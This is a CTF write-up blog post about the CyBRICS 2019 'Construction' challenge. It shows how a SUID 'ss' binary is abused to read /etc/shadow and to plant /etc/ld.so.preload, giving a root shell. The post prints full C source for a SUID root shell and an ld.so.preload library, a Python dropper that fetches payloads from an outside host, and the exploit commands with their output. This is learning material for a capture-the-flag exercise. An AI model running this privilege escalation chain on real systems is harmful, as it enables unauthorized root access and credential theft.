Blog

CyBRICS Construction

Sep 7, 2019 | 5 minutes read
Share this:

Tags: ctf, writeup

The CyBRICS CTF Quals 2019, which took place in July 20th, presented some interesting challenges. Unfortunately I was not around to actively participate in the CTF as I happened to be in some far away beach in Brazil enjoying the tropical Sun. Coming back to action I selected a few challenges to tackle and here is the first one of them: Construction, a Linux box with an interesting privilege escalation vulnerability to be exploited.

Challenge

Pretty straightforward, uh? We need to login into the box with the provided credentials and try to read the python script. I then logged in and was greeted with the following message:

[procleap@shoggoth ~]$ ssh testsubject@109.233.57.93
Password: 
Last login: Sat Sep  7 20:39:52 2019 from XX.XX.XX.XX
You can check out what process is waiting for you on a tcp port with `ss -tnlp`.
We made `ss` SUID for that, but it won’t be an issue, right?

-rwsr-xr-x 1 root root 128176 Nov 24  2017 /bin/ss

Running /bin/ss -tnlp only shows us that there is a service listening on port 7799 but when we connect to it (using nc localhost 7799) the service just prints “under construction” and exits. This box also seems to be a rather bare bones docker container, which means that there isn’t much else available for us to explore.

Last but not least, by running ps -ef I find out the path to the python script where the flag lies hidden:

testsubject@35808c7b3d5c:~$ ps -ef           
UID        PID  PPID  C STIME TTY          TIME CMD
root         1     0  0 17:39 pts/0    00:00:00 /usr/bin/timeout --foreground -s 9 300 /bin/bash -c /root/testlab.py & echo 'You can check out what process is wai
root         8     1  0 17:39 pts/0    00:00:00 su - testsubject
root         9     8  0 17:39 pts/0    00:00:00 /usr/bin/python /root/testlab.py
testsub+    11     8  0 17:39 pts/0    00:00:00 -su
testsub+    17    11  0 17:42 pts/0    00:00:00 ps -ef

Reading the ss man page two command line options call my attention. With -F one can provide an input file containing filter rules. And because /bin/ss has the SUID bit turned on this allows one to easily read sensitive files. For instance, I can make the program return the first line in /etc/shadow:

testsubject@35808c7b3d5c:~$ ss -F /etc/shadow
Error: an inet prefix is expected rather than "root:*:18120:0:99999:7::".
Cannot parse dst/src address.

I spent quite some time trying to devise a way to read more lines using this trick but I finally gave up. Moreover the filter syntax accepted by the -F switch treats # characters as comments and, since the flag is inside a python script, I wrongly assumed that it would be commented out. I also played with ss’s environment variables to no avail. So in the end I turned my attention to the -D option which allows one to define an output file. The thing is, ss doesn’t check if the output file already exists and happily overwrites it! Worst of all, the output file specified by the -D option is owned by root as you can see below:

testsubject@b1e0545a0ea5:~$ ss -D /tmp/foo 
testsubject@b1e0545a0ea5:~$ ls -l /tmp/foo
-rw-r--r-- 1 root testsubject 40 Sep  7 18:01 /tmp/foo

This unsafe behavior by itself is super dangerous. It allows an attacker to perform a denial of service by overwriting important system files. However how can we leverage that to gain more privileges? There comes the old /etc/ld.so.preload trick to the rescue.

Preparation

Knowing that we can easily overwrite any file, our task is relatively simple:

  1. Create a /etc/ld.so.preload file and make sure we can update its contents
  2. Update /etc/ld.so.preload so that it now references a specially crafted shared library
  3. Profit!

So let’s start with the payloads. The first one is just a small program that makes sure its process is owned by the root user before launching a shell:

/* 
 * rootshel.c
 * Compile it with `gcc -o rootshel rootshel.c`
 */

#include <unistd.h>

void main() {
        setuid(0);
        setgid(0);
        seteuid(0);
        setegid(0);
        execvp("/bin/sh", NULL);
}

However for this to work we need to grant our little program the right permissions. In other words, we want that rootshell be owned by root and that its SUID bit is toggled on. We can accomplished that via the following shared library:

/* 
 * libhax.c
 * Compile it with `gcc -fPIC -shared -o libhax.so libhax.c`
 */

#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#define SHELL "/home/testsubject/rootsh"

__attribute__ ((__constructor__))
void dropshell() {
        chown(SHELL, 0, 0);
        chmod(SHELL, 04755);
}

Since the box doesn’t have gcc installed I compiled the above payloads and hosted them somewhere else. The box doesn’t have curl or wget installed, but fortunately it’s easy to code a downloader/dropper in Python.

Now for the fun part.

Exploitation

I logged into the box and began by dropping the binaries using a simple Python script:

testsubject@35808c7b3d5c:~$ cat > dropper.py
#!/usr/bin/env python

import urllib2, os

def drop_file(url):
	payload = urllib2.urlopen(url).read()
	filename = os.path.basename(url)
	with open(filename, 'w') as f:
		f.write(payload)

if __name__ == "__main__":
	baseurl = "http://XX.XX.XX.XX/" # base URL to rootsh and libhax.so files
	rootsh = "rootsh"
	libhax = "libhax.so"
	print "[+] Dropping files..."
	drop_file(baseurl + rootsh)
	drop_file(baseurl + libhax)
	print "[+] Done!"
^D
testsubject@35808c7b3d5c:~$ chmod +x dropper.py && ./dropper.py
[+] Dropping files...
[+] Done!

After that I quickly created /etc/ld.so.preload using the -D option and pointed it to the previously downloaded shared library. Notice that before doing so I also changed my file creation mask to make sure the file would be writable by the testsubject user:

testsubject@35808c7b3d5c:~$ umask 0000
testsubject@35808c7b3d5c:~$ ss -D /etc/ld.so.preload
testsubject@35808c7b3d5c:~$ echo /home/testsubject/libhax.so > /etc/ld.so.preload

Now I just needed to run any command that requires root privileges in order to “pass” those privileges to /home/testsubject/rootshell. Perhaps not surprisingly ss is indeed such command but mount would also do the trick:

testsubject@35808c7b3d5c:~$ ss
Netid  State      Recv-Q Send-Q                               Local Address:Port                                                Peer Address:Port                
testsubject@35808c7b3d5c:~$ ls -l
total 40
-rwxr-xr-x 1 testsubject testsubject   403 Sep  7 18:35 dropper.py
-rw-r--r-- 1 testsubject testsubject 15936 Sep  7 18:35 libhax.so
-rwsr-xr-x 1 root        root        16752 Sep  7 18:35 rootsh

It worked! rootshel has now the right permissions – let’s profit :-)

testsubject@35808c7b3d5c:~$ ./rootsh
# id
uid=0(root) gid=0(root) groups=0(root),1000(testsubject) 
# tail -1 /root/testlab.py
FLAG = "cybrics{PWN3D_the_UNPWN4BLE!}"

Final Thoughts

After finishing this writeup I learned about how Robert Xiao from the Maple Bacon team solved this challenge. He followed a completely different approach by exploiting vulnerabilities in the ss’ program itself. Robert’s writeup is definitively worth reading.

Happy hacking!

comments powered by Disqus